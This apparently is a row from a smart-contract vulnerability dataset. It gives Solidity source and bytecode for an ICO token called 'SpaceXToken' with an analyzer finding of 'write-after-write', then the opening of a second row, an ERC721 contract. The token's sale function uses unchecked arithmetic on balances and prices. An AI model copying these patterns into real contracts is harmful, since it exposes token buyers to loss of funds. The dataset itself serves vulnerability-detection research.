require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
/*
ERC Token Standard #20 Interface
*/
// ----------------------------------------------------------------------------
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
/*
Contract function to receive approval and execute function in one call
*/
// ----------------------------------------------------------------------------
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
//Owned contract
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
/** @dev Assigns ownership to calling address
*/
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
/** @dev Transfers ownership to new address
*
*/
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
/** @dev Accept ownership of the contract
*/
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Owned {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/*
ERC20 Token, with the addition of symbol, name and decimals and an initial fixed supply
*/
contract SpaceXToken is ERC20Interface, Owned, Pausable {
using SafeMath for uint;
uint8 public decimals;
uint256 public totalRaised; // Total ether raised (in wei)
uint256 public startTimestamp; // Timestamp after which ICO will start
uint256 public endTimeStamp; // Timestamp at which ICO will end
uint256 public basePrice = 15000000000000000; // All prices are in Wei
uint256 public step1 = 80000000000000;
uint256 public step2 = 60000000000000;
uint256 public step3 = 40000000000000;
uint256 public tokensSold;
uint256 currentPrice;
uint256 public totalPrice;
uint256 public _totalSupply; // Total number of presale tokens available
string public version = '1.0'; // The current version of token
string public symbol;
string public name;
address public fundsWallet; // Where should the raised ETH go?
mapping(address => uint) balances; // Keeps the record of tokens with each owner address
mapping(address => mapping(address => uint)) allowed; // Tokens allowed to be transferred
/** @dev Constructor
*/
function SpaceXToken() public {
tokensSold = 0;
startTimestamp = 1527080400;
endTimeStamp = 1529672400;
fundsWallet = owner;
name = "SpaceXToken"; // Set the name for display purposes (CHANGE THIS)
decimals = 0; // numberOfTokens of decimals for display purposes (CHANGE THIS)
symbol = "SCX"; // symbol for token
_totalSupply = 4000 * 10**uint(decimals); // total supply of tokens
balances[owner] = _totalSupply; // assigning all tokens to owner
tokensSold = 0;
currentPrice = basePrice;
totalPrice = 0;
Transfer(msg.sender, owner, _totalSupply);
}
/* @dev returns totalSupply of tokens.
*/
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
/** @dev returns balance of tokens of Owner.
* @param tokenOwner address token owner
*/
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
/** @dev Transfer the tokens from token owner's account to `to` account
* @param to address where token is to be sent
* @param tokens number of tokens
*/
// ------------------------------------------------------------------------
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
/** @dev Token owner can approve for `spender` to transferFrom(...) `tokens` from the token owner's account
* @param spender address of spender
* @param tokens number of tokens
*/
// ------------------------------------------------------------------------
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
/** @dev Transfer `tokens` from the `from` account to the `to` account
* @param from address from where token is being sent
* @param to where token is to be sent
* @param tokens number of tokens
*/
// ------------------------------------------------------------------------
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
return true;
}
/**
* @param tokenOwner Token Owner address
* @param spender Address of spender
*/
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
/**
* @dev Token owner can approve for `spender` to transferFrom(...) `tokens` from the token owner's account. The `spender` contract function`receiveApproval(...)` is then executed
*/
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
/**
* @dev Facilitates sale of presale tokens
* @param numberOfTokens number of tokens to be bought
*/
function TokenSale(uint256 numberOfTokens) public whenNotPaused payable { // Facilitates sale of presale token
// All the required conditions for the sale of token
require(now >= startTimestamp , "Sale has not started yet.");
require(now <= endTimeStamp, "Sale has ended.");
require(balances[fundsWallet] >= numberOfTokens , "There are no more tokens to be sold." );
require(numberOfTokens >= 1 , "You must buy 1 or more tokens.");
require(numberOfTokens <= 10 , "You must buy at most 10 tokens in a single purchase.");
require(tokensSold.add(numberOfTokens) <= _totalSupply);
require(tokensSold<3700, "There are no more tokens to be sold.");
// Price step function
if(tokensSold <= 1000){
totalPrice = ((numberOfTokens) * (2*currentPrice + (numberOfTokens-1)*step1))/2;
}
if(tokensSold > 1000 && tokensSold <= 3000){
totalPrice = ((numberOfTokens) * (2*currentPrice + (numberOfTokens-1)*step2))/2;
}
if(tokensSold > 3000){
totalPrice = ((numberOfTokens) * (2*currentPrice + (numberOfTokens-1)*step3))/2;
}
require (msg.value >= totalPrice); // Check if message value is enough to buy given number of tokens
balances[fundsWallet] = balances[fundsWallet] - numberOfTokens;
balances[msg.sender] = balances[msg.sender] + numberOfTokens;
tokensSold = tokensSold + numberOfTokens;
if(tokensSold <= 1000){
currentPrice = basePrice + step1 * tokensSold;
}
if(tokensSold > 1000 && tokensSold <= 3000){
currentPrice = basePrice + (step1 * 1000) + (step2 * (tokensSold-1000));
}
if(tokensSold > 3000){
currentPrice = basePrice + (step1 * 1000) + (step2 * 2000) + (step3 * (tokensSold-3000));
}
totalRaised = totalRaised + totalPrice;
msg.sender.transfer(msg.value - totalPrice); ////Transfer extra ether to wallet of the spender
Transfer(fundsWallet, msg.sender, numberOfTokens); // Broadcast a message to the blockchain
}
/**
* @dev Owner can transfer out any accidentally sent ERC20 tokens
* @dev Transfer the tokens from token owner's account to `to` account
* @param tokenAddress address where token is to be sent
* @param tokens number of tokens
*/
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
/**
* @dev view current price of tokens
*/
function viewCurrentPrice() view returns (uint) {
if(tokensSold <= 1000){
return basePrice + step1 * tokensSold;
}
if(tokensSold > 1000 && tokensSold <= 3000){
return basePrice + (step1 * 1000) + (step2 * (tokensSold-1000));
}
if(tokensSold > 3000){
return basePrice + (step1 * 1000) + (step2 * 2000) + (step3 * (tokensSold-3000));
}
}
/**
* @dev view number of tokens sold
*/
function viewTokensSold() view returns (uint) {
return tokensSold;
}
/**
* @dev view number of remaining tokens
*/
function viewTokensRemaining() view returns (uint) {
return _totalSupply - tokensSold;
}
/**
* @dev withdrawBalance from the contract address
* @param amount that you want to withdrawBalance
*
*/
function withdrawBalance(uint256 amount) onlyOwner returns(bool) {
require(amount <= address(this).balance);
owner.transfer(amount);
return true;
}
/**
* @dev view balance of contract
*/
function getBalanceContract() constant returns(uint){
return address(this).balance;
}
} | 0x6080604052600436106101c2576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146101c7578063095ea7b31461025757806318160ddd146102bc5780632194f3a2146102e757806323b872dd1461033e5780632827d4ca146103c3578063313ce567146103e35780633eaaf86b146104145780633f4ba83a1461043f57806341dfed3a14610456578063518ab2a81461048157806351906bb0146104ac57806354fd4d50146104d75780635c975abb1461056757806366bd78fd1461059657806367c51be7146105c157806370a08231146105ec57806379ba5097146106435780638456cb591461065a57806386d4fe9c146106715780638da5cb5b1461069c5780638f4ed333146106f357806395d89b411461071e578063a9059cbb146107ae578063ab0d92dd14610813578063c5c4744c1461083e578063c7876ea414610869578063cae9ca5114610894578063d40a71fb1461093f578063d4ee1d901461096a578063da76d5cd146109c1578063dc39d06d14610a06578063dd62ed3e14610a6b578063df4ec24914610ae2578063e6fd48bc14610b0d578063f2fde38b14610b38575b600080fd5b3480156101d357600080fd5b506101dc610b7b565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561021c578082015181840152602081019050610201565b50505050905090810190601f1680156102495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561026357600080fd5b506102a2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c19565b604051808215151515815260200191505060405180910390f35b3480156102c857600080fd5b506102d1610d0b565b6040518082815260200191505060405180910390f35b3480156102f357600080fd5b506102fc610d56565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561034a57600080fd5b506103a9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d7c565b604051808215151515815260200191505060405180910390f35b6103e160048036038101908080359060200190929190505050611027565b005b3480156103ef57600080fd5b506103f861178c565b604051808260ff1660ff16815260200191505060405180910390f35b34801561042057600080fd5b5061042961179f565b6040518082815260200191505060405180910390f35b34801561044b57600080fd5b506104546117a5565b005b34801561046257600080fd5b5061046b611864565b6040518082815260200191505060405180910390f35b34801561048d57600080fd5b506104966118f5565b6040518082815260200191505060405180910390f35b3480156104b857600080fd5b506104c16118fb565b6040518082815260200191505060405180910390f35b3480156104e357600080fd5b506104ec611901565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561052c578082015181840152602081019050610511565b50505050905090810190601f1680156105595780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561057357600080fd5b5061057c61199f565b604051808215151515815260200191505060405180910390f35b3480156105a257600080fd5b506105ab6119b2565b6040518082815260200191505060405180910390f35b3480156105cd57600080fd5b506105d66119d1565b6040518082815260200191505060405180910390f35b3480156105f857600080fd5b5061062d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119db565b6040518082815260200191505060405180910390f35b34801561064f57600080fd5b50610658611a24565b005b34801561066657600080fd5b5061066f611bc3565b005b34801561067d57600080fd5b50610686611c82565b6040518082815260200191505060405180910390f35b3480156106a857600080fd5b506106b1611c90565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106ff57600080fd5b50610708611cb5565b6040518082815260200191505060405180910390f35b34801561072a57600080fd5b50610733611cbb565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610773578082015181840152602081019050610758565b50505050905090810190601f1680156107a05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156107ba57600080fd5b506107f9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611d59565b604051808215151515815260200191505060405180910390f35b34801561081f57600080fd5b50610828611ef4565b6040518082815260200191505060405180910390f35b34801561084a57600080fd5b50610853611efa565b6040518082815260200191505060405180910390f35b34801561087557600080fd5b5061087e611f00565b6040518082815260200191505060405180910390f35b3480156108a057600080fd5b50610925600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611f06565b604051808215151515815260200191505060405180910390f35b34801561094b57600080fd5b50610954612155565b6040518082815260200191505060405180910390f35b34801561097657600080fd5b5061097f61215b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156109cd57600080fd5b506109ec60048036038101908080359060200190929190505050612181565b604051808215151515815260200191505060405180910390f35b348015610a1257600080fd5b50610a51600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612275565b604051808215151515815260200191505060405180910390f35b348015610a7757600080fd5b50610acc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506123d9565b6040518082815260200191505060405180910390f35b348015610aee57600080fd5b50610af7612460565b6040518082815260200191505060405180910390f35b348015610b1957600080fd5b50610b22612466565b6040518082815260200191505060405180910390f35b348015610b4457600080fd5b50610b79600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061246c565b005b600f8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c115780601f10610be657610100808354040283529160200191610c11565b820191906000526020600020905b815481529060010190602001808311610bf457829003601f168201915b505050505081565b600081601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000601160008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600c5403905090565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610dd082601160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250b90919063ffffffff16565b601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ea282601260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250b90919063ffffffff16565b601260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f7482601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461252790919063ffffffff16565b601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600160149054906101000a900460ff1615151561104357600080fd5b60035442101515156110bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f53616c6520686173206e6f742073746172746564207965742e0000000000000081525060200191505060405180910390fd5b6004544211151515611137576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f53616c652068617320656e6465642e000000000000000000000000000000000081525060200191505060405180910390fd5b8060116000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611236576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001807f546865726520617265206e6f206d6f726520746f6b656e7320746f206265207381526020017f6f6c642e0000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600181101515156112af576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f596f75206d757374206275792031206f72206d6f726520746f6b656e732e000081525060200191505060405180910390fd5b600a811115151561134e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260348152602001807f596f75206d75737420627579206174206d6f737420313020746f6b656e73206981526020017f6e20612073696e676c652070757263686173652e00000000000000000000000081525060400191505060405180910390fd5b600c546113668260095461252790919063ffffffff16565b1115151561137357600080fd5b610e74600954101515611414576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001807f546865726520617265206e6f206d6f726520746f6b656e7320746f206265207381526020017f6f6c642e0000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b6103e86009541115156114455760026006546001830302600a5460020201820281151561143d57fe5b04600b819055505b6103e860095411801561145c5750610bb860095411155b156114855760026007546001830302600a5460020201820281151561147d57fe5b04600b819055505b610bb860095411156114b55760026008546001830302600a546002020182028115156114ad57fe5b04600b819055505b600b5434101515156114c657600080fd5b8060116000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540360116000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600954016009819055506103e860095411151561163e576009546006540260055401600a819055505b6103e86009541180156116555750610bb860095411155b15611678576103e860095403600754026103e8600654026005540101600a819055505b610bb860095411156116aa57610bb860095403600854026107d0600754026103e860065402600554010101600a819055505b600b54600254016002819055503373ffffffffffffffffffffffffffffffffffffffff166108fc600b5434039081150290604051600060405180830381858888f19350505050158015611701573d6000803e3d6000fd5b503373ffffffffffffffffffffffffffffffffffffffff16601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b600160159054906101000a900460ff1681565b600c5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561180057600080fd5b600160149054906101000a900460ff16151561181b57600080fd5b6000600160146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60006103e860095411151561188557600954600654026005540190506118f2565b6103e860095411801561189c5750610bb860095411155b156118bf576103e860095403600754026103e860065402600554010190506118f2565b610bb860095411156118f157610bb860095403600854026107d0600754026103e86006540260055401010190506118f2565b5b90565b60095481565b60045481565b600d8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156119975780601f1061196c57610100808354040283529160200191611997565b820191906000526020600020905b81548152906001019060200180831161197a57829003601f168201915b505050505081565b600160149054906101000a900460ff1681565b60003073ffffffffffffffffffffffffffffffffffffffff1631905090565b6000600954905090565b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a8057600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c1e57600080fd5b600160149054906101000a900460ff16151515611c3a57600080fd5b60018060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b6000600954600c5403905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075481565b600e8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611d515780601f10611d2657610100808354040283529160200191611d51565b820191906000526020600020905b815481529060010190602001808311611d3457829003601f168201915b505050505081565b6000611dad82601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250b90919063ffffffff16565b601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e4282601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461252790919063ffffffff16565b601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600b5481565b60025481565b60055481565b600082601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156120e35780820151818401526020810190506120c8565b50505050905090810190601f1680156121105780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561213257600080fd5b505af1158015612146573d6000803e3d6000fd5b50505050600190509392505050565b60065481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156121de57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff1631821115151561220457600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f1935050505015801561226b573d6000803e3d6000fd5b5060019050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156122d257600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561239657600080fd5b505af11580156123aa573d6000803e3d6000fd5b505050506040513d60208110156123c057600080fd5b8101908080519060200190929190505050905092915050565b6000601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60085481565b60035481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156124c757600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561251c57600080fd5b818303905092915050565b6000818301905082811015151561253d57600080fd5b929150505600a165627a7a72305820345ba606db55fe5a2961d59bf709c3596be92dac11ad3715cd1701959a3333b90029 | {"success": true, "error": null, "results": {"detectors": [{"check": "write-after-write", "impact": "Medium", "confidence": "High"}]}} | 1,402 |
0x56ae7332a4e6d98bcb3342f71cb440576487948b | /**
*Submitted for verification at Etherscan.io on 2021-08-11
*/
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
